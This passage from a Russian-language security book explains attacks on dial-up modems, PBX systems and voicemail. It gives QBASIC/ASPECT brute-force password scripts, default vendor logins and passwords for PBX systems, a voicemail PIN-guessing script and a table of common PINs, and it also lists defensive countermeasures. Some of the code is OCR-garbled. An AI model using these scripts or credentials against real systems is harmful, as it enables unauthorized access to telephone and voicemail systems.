После получения результатов сканирования телефонных номеров нужно систематизировать их в так называемые домены (domain). Как уже отмечалось, неоценимую помощь в этом окажет опыт работы с различными типами серверов удаленных соединений и операционных систем. Выбор системы для последующего проникновения зависит от множества факторов, в том числе от того, сколько времени хакер готов посвятить своим экспериментам, какая полоса пропускания имеется в его распоряжении, а также от его интуиции и профессионализма в написании сценариев.
Первым важным шагом на пути систематизации результатов в целях тестирования является установка соединений с обнаруженными модемами. При этом нужно постараться определить характеристики соединения, чтобы затем суметь сгруппировать соединения в домены для тестирования. Модемное соединение можно определить по нескольким существенным признакам, которые и надо постараться выявить. Приведем общий перечень таких признаков.

  •  Наличие интервала ожидания или порогового числа попыток.
  •  После превышения порогового значения соединение больше не используется.
  •  Соединение доступно только в определенные часы.
  •  Допустимость корректных предположений об уровне аутентификации: т.е. наличие или отсутствие пароля.
  •  Уникальность метода идентификации, в частности по принципу запрос/отклик (например, с использованием идентификаторов защиты (Security ID).
  •  Возможность определения максимального числа символов в отклике или пароле.
  •  Правомочность предположений о наличии специальных или алфавитно-цифровых символов в поле пароля или идентификаторе пользователя.
  •  Возможность получения дополнительной информации при вводе различных стандартных комбинаций клавиш, таких как <Ctrl+C>, <CtrI+Z>, <?> и т.п.
  •  Наличие идентификационных маркеров или их изменение с момента первых попыток проникновения, а также содержащаяся в них информация. Это может оказаться полезным при угадывании недостающей информации или при решении вопросов социальной инженерии.

Получив эту информацию, можно приступать к систематизации соединений в так называемые домены для проникновения по телефонным линиям. Для иллюстрации рассмотрим четыре категории соединений или домена для дальнейшего проникновения. При этом сразу же исключим из рассмотрения так называемый домен ЛДП (легко доступный плод). Остальные домены основаны на различных механизмах аутентификации и ограничении числа попыток доступа к этим механизмам. В целом домены можно классифицировать следующим образом.

1. ЛДП
Легко угадываемые и часто используемые пароли для идентификации (угадать их поможет опыт)
2. Одинарная идентификация, неограниченное число попыток
Системы с одним типом пароля или идентификатора пользователя. Модем не отключается после заданного числа неудачных попыток установки соединения
3. Одинарная идентификация, ограниченное число попыток
Системы с одним типом пароля или идентификатора пользователя. Модем отключается после заданного числа неудачных попыток установки соединения
4. Двойная идентификация, неограниченное число попыток
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем не отключается после заданного числа неудачных попыток установки соединения
5. Двойная идентификация, ограниченное число попыток
Системы с двумя типами механизмов аутентификации, например с использованием идентификатора пользователя и пароля. Модем отключается после заданного числа неудачных попыток установки соединения

В целом чем ниже в списке находится домен, тем сложнее проникнуть в относящуюся к нему систему, и тем более сложные сценарии требуется для этого применять. Рассмотрим эти домены подробнее.

Легко доступный плод



Для проникновения в систему, относящуюся к этому домену, требуется минимум усилий. Если хакер удачлив — его неминуемо ждет успех. Для проникновения в систему не требуется писать никаких сценариев — нужно лишь угадать идентификатор пользователя или пароль. В книге нельзя перечислить все типичные идентификаторы и пароли. Угадать эту информацию поможет опыт и интуиция. Хорошей отправной точкой в этом процессе может послужить идентификация подписи. В табл. 10.3 следующей главы приводится полезный список, с которого можно начать дальнейшие исследования. Однако каким бы списком ни воспользовался читатель, главное — быстро проверить все применяемые по умолчанию варианты и в случае неудачи перейти к следующему типу домена.

Одинарная идентификация, неофаниченное число попыток



Это первый серьезный домен (ЛДП не в счет), который зачастую труднее всего идентифицировать. Дело в том, что многие системы, которые, на первый взгляд, принадлежат этому домену (листинг 9.1 А), после ввода корректного идентификатора требуют повторной аутентификации (листинг 9.1 Б). Пример системы, действительно относящейся к этой категории, приводится в листинге 9.2. Эта система использует один механизм аутентификации и допускает неограниченное число попыток установки соединения.
Листинг 9.1А. Пример системы, которая, на первый взгляд, относится к первому домену, но меняет свое поведение после ввода корректного идентификатора пользователя или пароля

XX-Jul-XX 09:51:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:

Листинг 9.1 Б. Пример изменения поведения системы после ввода корректного идентификатора пользователя или пароля 

XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
@ Userid: lanroverl
Password: xxxxxxxx

В следующем примере система действительно относится к первому домену, поскольку для получения доступа к ней требуется только ввести пароль. Заметим также, что эта система допускает неограниченное число попыток установки соединения. Для проникновения в такую систему нужно запустить сценарий подбора пароля.
Листинг 9.2. Пример поведения системы, действительно относящейся к первому домену

XX-Jul-XX 03:45:08 91ХХХ5551235
С: CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.
Enter Password: Invalid Password.

Для проникновения в систему, представленную в этом примере, нужно написать сценарий, который выполнялся бы простыми утилитами DOS. Приведенный ниже фрагмент — это не сложная программа, а простой пример сценария, повторяющего попытки регистрации до тех пор, пока не будет исчерпан его словарь. Как уже отмечалось, при написании сценариев для модемных соединений чаще всего применяется программа Procomm Plus со встроенным языком сценариев ASPECT. Система Procomm Plus известна уже в течение многих лет и хорошо зарекомендовала себя при тестировании как на ранних версиях DOS, так и на новейших версиях 32-разрядных операционных систем. Следует отметить также прекрасную справочную систему и документацию по языку ASPECT.
Для начала создадим исходный файл сценария, а затем скомпилируем его в объектный модуль. Полученный модуль протестируем на 10-20 паролях, а затем на большом словаре. Таким образом, сначала создадим файл исходного кода сценария на языке ASPECT. В старых версиях Procomm Plus для исходных файлов сценариев использовалось расширение .ASP, а для объектных файлов — .ASX, а в новых версиях — .WAS и .wsx соответственно. Однако независимо от версии нам предстоит создать сценарий, который будет поддерживать приведенный выше диалог и пользоваться большим словарем паролей.
Написание сценариев — это программирование сравнительно низкого уровня. Их можно писать с помощью любого стандартного редактора. Относительно сложным моментом является включение в сценарий переменной, отвечающей за считывание пароля из словаря. Система Procomm Plus поддерживает включение в сценарий переменных, отвечающих за считывание данных из внешних файлов (например, из словаря) в процессе работы сценария. Однако опыт авторов показывает, что при включении словаря в текст сценария уменьшается число программных переменных и возрастает вероятность успеха.
Поскольку основная задача — написание сценария низкого уровня, основанного на применении ASCII-кодов, для его создания можно воспользоваться языком QBASIC для DOS. В следующем листинге приводится содержимое простого QBASIC-файла, генерирующего сценарий обработки ситуации из предыдущего примера. Назовем этот файл 5551235.ВАЗ (.ВАЗ — стандартное расширение для программ на языке QBASIC). Эту программу можно использовать для создания сценария проникновения в систему, относящуюся к первому домену. Эта программа создает исходный файл сценария на языке ASPECT для Procomm Plus 32 (.WAS). Для полноты сценария необходимо сначала создать элемент соединения 5551235 в соответствующем каталоге Procomm Plus. Элемент соединения обычно содержит все характеристики соединения и позволяет пользователю задать файл журнала. Как будет видно из дальнейшего изложения, наличие журнала очень важно при реализации описываемого подхода.

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS tl
PRINT #2, "proc main"
PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
inS = LTRIM$(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + inS + CHR$(34)
LOOP
PRINT #2, "endproc"

Файл словаря может содержать любое количество типичных паролей, например:

apple
applel
apple2
applepie
applepies
applepiesl
applepies2
applicate
applicates
application
applicationl
applonia
applonial

и т.д.
Размер словаря может быть любым, здесь можно проявлять любое творчество. Если известна какая-либо конкретная информация о целевой организации, например имена сотрудников или название местной спортивной команды, то в словарь следует добавить и ее. Главное, создать как можно более эффективный словарь.
Затем нужно взять готовый файл 5551235.WAS, скомпилировать его с использованием компилятором языка ASPECT и запустить на выполнение.

Поскольку сценарий предназначен для подбора паролей, перед началом его выполнения нужно открыть файл журнала регистрации событий. Тогда весь процесс работы сценария будет фиксироваться в файле. Позднее содержимое файла журнала можно проанализировать и определить правильный пароль. На первый взгляд, может показаться, что журнал регистрации вовсе не нужен. Достаточно просто выполнять сценарий до успешной попытки (получения корректного пароля). Однако это невозможно, поскольку заранее нельзя определить, что произойдет после ввода корректного пароля, т.е. нельзя сформулировать условие успешной попытки. Если же известно, к какому результату должен привести ввод корректного пароля, то в файле сценария на языке ASPECT можно использовать условие WAITFOR и задать соответствующее условие. При таком подходе остается меньше шансов для случайностей. Авторы являются сторонниками журналов регистрации. Хотя такие журналы сложно анализировать — их легко создавать. При этом, конечно, предполагается, что дополнительные сведения о соединении отсутствуют. Те, кто работал консультантом по безопасности или аудитором и сотрудничал с людьми, знающими характеристики удаленных соединений своих организаций, могут использовать совсем другие подходы.

Следует упомянуть еще о некоторых особенностях работы сценариев. Наличие шума на линии между ожидаемыми символами может свести на нет всю работу сценария. Поэтому, прежде чем запускать сценарий в действие, желательно несколько раз протестировать его на небольших словарях из 10-20 паролей и удостовериться в его работоспособности.

Одинарная идентификация, ограниченное число попыток



Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется.
Листинг 9.3. Пример поведения системы, относящейся ко второму типу домена

XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password:
Invalid Password.
Enter Password:
Invalid Password.
ATHO

(Отметим важную характеристику — последовательность АТНО, свидетельствующую о разрыве соединения модема Hayes.)
Листинг 9.4. Пример программы на языке QBASIC (файл 5551235.BAS)

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial DATA " + CHR$(34)
+ "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ - LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"

Двойная идентификация, неограниченное число попыток



К третьему типу доменов зачастую относятся системы, которые, на первый взгляд, можно принять за системы первого домена. Однако для проникновения в систему третьего домена нужно угадать не только идентификатор пользователя, но и пароль. Поэтому проникновение в такую систему занимает больше времени, чем в системы из рассмотренных выше доменов. Сценарий проникновения в такую систему обычно более сложен, поскольку требует передачи не одной, а двух корректных строк. При этом возможно гораздо больше ошибок. Такой сценарий напоминает рассмотренные выше примеры. Пример поведения системы, относящейся к третьему домену, приведен в листинге 9.5, а программа на языке QBASIC для создания сценария ASPECT — в листинге 9.6.
Листинг 9.5, Пример поведения системы, относящейся к третьему типу домена

XX-Jcl-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Userr.ame: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx

Листинг 9.6. Пример программы на языке QBASIC (файл 5551235.ВАS)

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT 12, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" '+ CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT tt2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"

Двойная идентификация, ограниченное число попыток



Четвертый домен является развитием третьего. Доя проникновения в систему четвертого домена требуется угадать имя пользователя и пароль при ограниченном числе попыток. После неудачного использования заданного числа попыток требуется восстановить разорванное соединение. Рассмотрим пример работы системы и программу генерации соответствующего сценария. В следующем листинге содержатся результаты атаки целевой системы. 

XX-Jul-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: gues.t
Password: xxxxxxxx
+++

А вот пример QBASIC-программы, генерирующей сценарий на языке ASPECT.

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIMS(in$) + "ЛМ"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHRS(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "AM"
PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34) LOOP PRINT #2, "endproc"


1.gif

Изображение: 

2.gif

Изображение: 

3.gif

Изображение: 

4.gif

Изображение: 

5.gif

Изображение: 

6.gif

Изображение: 

2. Заключительные замечания



Заключительные замечания


Рассмотренные выше примеры относятся к реально существующим изученным авторами системам. Читатели могут встретиться с системами, требующими реализации в сценарии некоторых других особенностей. Разработка сценария для конкретной ситуации — это путь проб и ошибок. Для написания сценариев можно использовать и другие языки, однако этот метод был выбран для простоты. Напомним еще раз, что для реализации этого подхода сначала необходимо открыть файл журнала, поскольку после успешного написания сценария и его многочасовой работы будет очень обидно обнаружить полное отсутствие результатов.
Читателей может заинтересовать вопрос: а как обстоят дела с соединениями ISDN (Integrated Services Digital Network)? Они по-прежнему используются во многих компаниях. Эти соединения в свое время предназначались для ускорения процесса соединения с корпоративной сетью. На сегодняшний день более быстрые каналы Internet во многом вытеснили соединения ISDN, однако последние все еще используются. Поэтому наряду с выявлением аналоговых линий обычных телефонных соединений имеет смысл проводить сканирование в поисках ISDN-модемов (или, как их часто называют, терминальных адаптеров (terminal adapters)). Авторы не имеют возможности привести полное описание процесса сканирования, направленного на выявление ISDN-соединений, в настоящем издании. Возможно, это будет сделано в следующем издании книги.
Теперь самое время перейти к рассмотрению способов защиты перечисленных выше слабых мест.

Защита удаленных соединений



Не мудрствуя лукаво, приведем список вопросов, которые необходимо решить в процессе планирования защиты удаленных соединений своей организации. Этот список упорядочен по сложности реализации мероприятий (от простого к сложному). Поэтому в первую очередь будут устранены проблемы, относящиеся к домену ЛДП. Внимательному читателю этот список наверняка напомнит перечень мероприятий в рамках политики защиты удаленных соединений.
1. Выполните инвентаризацию всех существующих линий удаленных соединений. На первый взгляд, это непростая задача. Однако перечитайте еще раз эту главу и обратите внимание на многократное повторение терминов "автопрозвон" или "сканирование телефонных номеров". Выявите все возможности неавторизованных удаленных соединений и избавьтесь от них всеми доступными средствами.
2. Внесите всю информацию об удаленных соединениях в единый банк данных, вынесите его за пределы внутренней сети как банк ненадежных соединений (т.е. в демилитаризованную зону), а затем, применив методы выявления вторжений и технологию брандмауэров, ограничьте доступ к доверенным подсетям.
3. Постарайтесь усложнить поиск аналоговых линий. Не назначайте их в одном диапазоне с телефонными номерами корпорации и не передавайте телефонные номера компании для регистрации в базе данных InterNIC. Защитите паролем информацию о телефонных номерах на АТС.
4. Удостоверьтесь, что телекоммуникационное оборудование защищено физически: во многих компаниях такое оборудование содержится в общедоступных местах в незакрывающихся боксах.
5. Регулярно проверяйте журналы регистрации программного обеспечения удаленных соединений. Особое внимание уделите информации о неудачных попытках установки соединений, активности в ночное время и необычным ситуациям. Используйте CalledD для записи номеров всех входящих соединений.
6. Важно и просто! Для линий, применяемых в коммерческих целях, отключите вывод любых идентификационных данных и замените их на наиболее нейтральное приглашение. Рассмотрите возможность отправки предупреждающих сообщений о недопустимости несанкционированного использования.
7. Предусмотрите для удаленного доступа двойную аутентификацию. Двойная аутентификация (two-factor authentication) предполагает ввод пользователем для получения доступа к системе двух типов данных: то, что он имеет, и то, что он знает. Примером являются одноразовые карточки паролей SecurlD компании Security Dynamics Technologies, Inc. Понятно, что зачастую такой подход финансово невыгоден. Однако это наилучший способ предотвращения большинства описанных выше проблем. В заключительном разделе главы приводится перечень компаний, выпускающих подобные продукты. В случае отказа от их услуг необходимо придерживаться жесткой политики назначения сложных паролей.
8. Требуйте аутентификации по обратной связи. Аутентификация по обратному звонку (dial-back) подразумевает такую конфигурацию удаленной системы, при которой сразу же после установки соединения с любым из клиентов это соединение разрывается и возобновляется снова по инициативе самой удаленной системы по заранее известным координатам инициатора соединения. С целью обеспечения более высокой степени безопасности при установке обратного соединения желательно использовать отдельный модемный пул, для которого запрещены входящие соединения (средствами модемов или самих телефонных линий). Следует иметь в виду, что такое решение, видимо, неприемлемо для многих современных компаний с большим количеством мобильных пользователей.
9. Удостоверьтесь, что доска объявлений компании не содержит секретных данных и не обеспечивает возможности удаленного изменения параметров учетной записи. Все описанные выше меры безопасности окажутся тщетными, если в отделе технической поддержки компании появится один новый энергичный человек с недобрыми намерениями.
10. Сосредоточьте решение задач обеспечения удаленных соединений (начиная от факсов и заканчивая голосовой почтой) в руках одного отдела своей организации, уполномоченного решать задачи безопасности.
11. Установите корпоративную политику для сотрудников центрального подразделения таким образом, чтобы полностью исключить обычные телефонные соединения. С этой целью установите внутренние мини-АТС, исключающие прямые входящие телефонные звонки и обеспечивающие лишь передачу исходящих факсов, доступ к электронной доске объявлений и т.п. Проведите тщательный маркетинг соответствующих систем и удостоверьтесь, что выбранная вами внутренняя мини-АТС удовлетворяет всем необходимым требованиям безопасности. В противном случае перейдите к п.1 и укажите поставщикам на бреши в защите, выявленные по методологии сканирования телефонных номеров.
12. Вернитесь к п.1. Изящно сформулированные политики — это хорошо, однако единственный способ обеспечить следование этим политикам состоит в регулярном сканировании телефонных линий на предмет поиска новых брешей в защите. Авторы советуют проводить эту операцию не реже двух раз в год для компаний с 10000 телефонных линий, а желательно даже чаще. Итак, защита удаленных соединений включает 12 пунктов. Конечно же, некоторые из них достаточно сложно воплотить в жизнь, однако стоит приложить для этого максимум усилий. Многолетний опыт авторов по обеспечению безопасности больших корпораций свидетельствует о том, что большинство компаний хорошо защищено брандмауэрами, однако практически все имеют бреши в защите обычных телефонных линий, позволяющие добраться к самому сердцу информационной инфраструктуры. Не лишним будет повторить, что война с модемами — возможно, самый важный шаг к улучшению безопасности сети организации.

Хакинг удаленных внутренних телефонных сетей РВХ



На сегодняшний день по-прежнему существуют удаленные соединения с внутренними офисными телефонными сетями РВХ. На самом деле управление такими сетями чаще всего реализуется именно посредством удаленных соединений. Аппаратная консоль для доступа в сеть РВХ в настоящее время превратилась в сложную машину, доступ к которой обеспечивается через IP-сети и интерфейс клиента. При этом многие удаленные соединения с хорошо настроенными сетями РВХ были упущены из виду. Кроме того, поставщики систем РВХ зачастую требуют от своих клиентов установки удаленного доступа к РВХ для обеспечения удаленной поддержки. И хотя это требование не лишено смысла, многие компании относятся к нему очень упрощенно и просто оставляют модем постоянно включенным и подключенным к внутренней телефонной сети. На самом же деле нужно поступать следующим образом. При возникновении проблемы представитель компании должен позвонить в службу поддержки и при необходимости установить удаленное соединение с сетью РВХ, дать возможность службе поддержки устранить проблемы по удаленной связи, а затем срезу же отключить соединение. Поскольку многие компании оставляют соединения с сетями РВХ постоянно открытыми, это открывает широкие возможности для несанкционированного проникновения в систему путем сканирования телефонных номеров. Таким образом, хакинг соединений с сетями РВХ имеет ту же природу, что и взлом обычных удаленных соединений.

Доступ к телефонной сети от компании Octel



В телефонных сетях РВХ от компании Octel пароль администратора обязательно является числом. Иногда это играет очень важную роль. По умолчанию почтовый ящик системного администратора во многих системах компании Octel — 9999.

XX-Feb-XX 05:03:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
Welcome to the Octel voice/data network.
All network data and programs are the confidential and/or
proprietary property
of Octel Communications Corporation and/or others.
Unauthorized use, copying, downloading, forwarding or
reproduction in any form by any person of any network
data or program is prohibited.
Copyright (C) 1994-1998 Octel Communications Corporation.
All Rights Reserved.
Please Enter System Manager Password:
Здесь необходимо ввести число
Enter the password of either
System Manager mailbox, then press
"Return."

Как видно из приведенного фрагмента интерфейса, для входа в сеть РВХ достаточно ввести либо числовой пароль, либо номер почтового ящика системного администратора.

Система РВХ от компании Williams



Как правило, работа в системе РВХ компании Williams происходит так, как показано ниже. При регистрации в сети зачастую требуется ввести номер пользователя. Обычно это пользователь первого уровня, номер которого — четырехзначное число. Очевидно, что подобрать нужное четырехзначное число не составляет труда.

XX-Feb-XX 04:03:56 *91ХХХ5551234 С:
CONNECT 9600/ARQ/V32/LAPM
OVL111 IDLE 0
>
OVL111 IDLE 0
>
OVL111 IDLE 0
>
OVL111 IDLE 0

Система Meridian



На первый взгляд, система Meridian напоминает операционную систему UNIX. Однако воздержитесь от ее покупки! При вводе идентификатора пользователя maint с таким же паролем обеспечивается доступ к управляющей консоли. Тот же результат достигается при вводе идентификатора пользователя mluser с одноименным паролем Это две различные оболочки в стиле UNIX, предназначенные для ограничения взаимодействия с системой РВХ. Однако эти ограничения очень легко обойти.

XX-Feb-XX 02:04:56 *91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPK
login:
login:
login:
login:

Система ROLM PhoneMail



Приведенное ниже поведение свойственно устаревшей системе ROLM PhoneMail. При входе в нее иногда даже отображаются соответствующие идентификационные маркеры.

XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
РМ Login>
Illegal Input.

Вот идентификаторы пользователей и пароли, используемые в системе ROLM PhoneMail по умолчанию.

LOGIN: sysadrain PASSWORD: sysadmin
LOGIN: tech PASSWORD: tech
LOGIN: poll PASSWORD: tech

Система ATT Definity 75



Система ATT Definity 75 — одна из старейших систем РВХ, и ее приглашение выглядит как стандартное приглашение UNIX. Иногда при этом выводятся даже соответствующие идентификационные маркеры.

ATT UNIX S75
Login:
Password:

Приведем список используемых по умолчанию учетных записей и паролей для системы ATT Definity 75. По умолчанию для этой системы устанавливается большое количество готовых к работе учетных записей и паролей. Обычно эти учетные записи впоследствии модифицируются их владельцами либо по собственному желанию, либо после проведения аудита безопасности системы. Однако после модификации системы предлагаемые по умолчанию учетные записи могут снова быть восстановлены. Иными словами, измененные в исходной версии системы данные могут снова принять предлагаемые по умолчанию значения после одной или нескольких модернизаций системы. Вот список используемых по умолчанию в системе ATT Definity 75 имен и паролей.

Login: enquiry Password: enquirypw
Login: init Password: initpw
Login: browse Password: looker
Login: maint Password: rwmaint
Login: locate Password: locatepw
Login: rcust Password: rcustpw
Login: tech Password: field
Login: cust Password: custpw
Login: inads Password: inads
Login: support Password: supportpw
Login: bans Password: bcms
Login: bcms Password: bcmpw
Login: bcnas Password: bcnspw
Login: bcim Password: bcimpw
Login: bciim Password: bciimpw
Login: bcnas Password: bcnspw
Login: craft Password: craftpw
Login: blue Password: bluepw
Login: field Password: support
Login: kraft Password: kraftpw
Login: nms Password: nmspw

Защита сети РВХ средствами АСЕ-сервера



Если вам встретится система, приглашение которой имеет следующий вид, — не стоит ломать копья: вероятнее всего, такую систему не удастся взломать, поскольку она защищена надежным механизмом на базе протокола АСЕ-сервера.

XX-Feb-XX 02:04:56 *91ХХХ5551234 С: CONNECT 9600/ARQ/V32/LAPM
Hello
Password :
89324123 :
Hello
Password :
65872901 :

Контрмеры против взлома систем РВХ



Как и при защите удаленных соединений, необходимо максимально ограничить время работы модемов, применять сложные формы аутентификации (по возможности двойную аутентификацию), а также предусмотреть возможность отключения после нескольких неудачных попыток установки соединения.

Прямой взлом систем голосовой почты



В начале 90-х годов появились две программы, предназначенные для взлома систем голосовой почты: Voicemail Box Hacker 3.0 и VrACK 0.51. Авторы этой книги пробовали пользоваться ими, но оказалось, что эти программы подходят для взлома более ранних и менее защищенных систем голосовой почты. Программа Voicemail Box Hacker 3.0 предназначена только для работы с системами, использующими четырехзначные пароли. Программа VrACK 0.51 обладает некоторыми интересными возможностями, однако для нее сложно писать сценарии и, вообще, она рассчитана на старые архитектуры компьютеров на базе процессоров х86, а на современных компьютерах работает нестабильно. Возможно, упомянутые программы в настоящее время не поддерживаются потому, что попытки взлома систем голосовой почты предпринимаются нечасто. Таким образом, для взлома систем голосовой почты лучше всего использовать язык сценариев ASPECT.
Сценарий взлома систем голосовой почты аналогичен сценарию взлома удаленных соединений, но основывается на другом принципе. В данном случае достаточно просто установить связь, а попытки регистрации не требуются. Такой сценарий можно реализовать даже вручную, но тогда поиск ограничится лишь последовательным перебором достаточно простых паролей и их комбинаций, которые могут использоваться в системах голосовой почты.
Чтобы взломать систему голосовой почты вручную или с помощью простого сценария перебора паролей (здесь социальная инженерия не потребуется), необходимо знать основной номер для доступа к самой системе голосовой почты, код доступа к нужному почтовому ящику, включая количество цифр (обычно это 3, 4 или 5), а также иметь разумные предположения относительно минимальной и максимальной длины пароля почтового ящика. В большинстве современных систем используются стандартные предельные значения длины пароля, а также типичные предлагаемые по умолчанию пароли. Только очень беспечные компании не пытаются принять хоть какие-то меры защиты систем голосовой почты, однако, как показывает опыт, встречаются и такие. Однако при написании сценария будем исходить из предположения, что организация предпринимает некоторые меры защиты, и ящики голосовой почты имеют пароли.
Сценарий взлома системы голосовой почты должен выглядеть примерно так, как в листинге 9.7. Сценарий в этом примере устанавливает соединение с системой голосовой почты, ожидает приветственного сообщения от автоответчика, например "Вас приветствует система голосовой почты компании X. Назовите, пожалуйста, номер почтового ящика", вводит номер почтового ящика, символ # для подтверждения окончания ввода, вводит пароль и символ подтверждения, а затем снова возобновляет попытку соединения. В этом примере проверяется шесть паролей для почтового ящика 5019. С помощью несложных приемов программирования можно легко написать сценарий, который последовательно выбирает пароли из некоторого словаря. Возможно, этот сценарий, придется подстраивать под конкретный модем. Да и вообще, один и тот же сценарий может отлично работать в одной системе и неудовлетворительно в другой. Поэтому необходимо внимательно следить за его работой. Протестировав сценарий на небольшом перечне паролей, можно запускать его для более объемного словаря.
Листинг 9.7. Простой сценарий взлома системы голосовой почты на языке ASPECT для Procomm Plus

proc main
transmit "atdt*918005551212,,,,, 5019#,111111*,,50191,2222221,,"
transmit "^M"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,333333#,,5019#,555555#,,"
transmit "^м"
WAITQUIET 37 HANGUP
transmit "atdt*918005551212,,,,,5019#,666666*,,5019#,7777771,,"
transmit "^M"
WAITQUIET 37
HANGUP
endproc

Число вариантов паролей голосовой почты всегда конечно. Конкретное количество возможных паролей зависит от максимально допустимой длины пароля. Чем длиннее пароль, тем больше времени может потребовать его взлом. При этом следует иметь в виду, что за процессом взлома требуется постоянно следить и слушать ответы системы голосовой почты. Однако умный взломщик может записать весь процесс взлома на магнитофон, тогда постоянное его присутствие при работе сценария не потребуется. Независимо от того, когда прослушиваются результаты работы сценария (сразу же или потом), большинство попыток ввода пароля окажутся безуспешными. Успешная попытка должна завершиться сообщением типа "В вашем почтовом ящике имеется X новых сообщений...". Заранее нельзя точно угадать, каким будет это сообщение. Количество возможных попыток находится в экспоненциальной зависимости от длины пароля. Поэтому для ускорения процедуры взлома можно использовать некоторые эмпирические закономерности.
Итак, как же сократить время подбора номера? Во-первых, попробовать легко запоминаемые комбинации символов (цифр). Такие комбинации часто "навеяны" специфическим расположением кнопок телефона. Пользователи часто выбирают в качестве пароля последовательности расположенных определенным образом кнопок телефона, например, цифры 1235789 на клавиатуре телефона образуют букву Z. В табл. 9.1 приведены наиболее типичные образцы паролей, обусловленные взаимным расположением кнопок телефонного номеронабирателя. Это далеко не полный список, но с него стоит начать. Не стоит игнорировать и очевидные комбинации символов, например 111111, которые могут предлагаться в качестве пароля по умолчанию. Скорее всего, в процессе поиска будут обнаружены установленные ящики голосовой почты, но среди них могут быть и такие, которыми никто никогда не пользовался. Такое выявление почтовых ящиков имеет смысл только для аудиторов, старающихся заставить пользователей более строго соблюдать меры безопасности.

Таблица 9.1. Типичные пароли системы Voicemail

Последовательности цифр

123456
765432
234567
876543
345678
987654
456789
098765
567890 
678901
 789012 
890123 
901234 
012345 
654321
109876 
210987
 321098
 432109
 543210 
123456789
 987654321
Симметричные последовательности кнопок
147741 
258852
 369963 
963369 
159951
 123321
 
456654 
789987 
987654 
123369 
147789 
357753
Цифры, расположенные в виде буквы Z
1235789
 
9875321
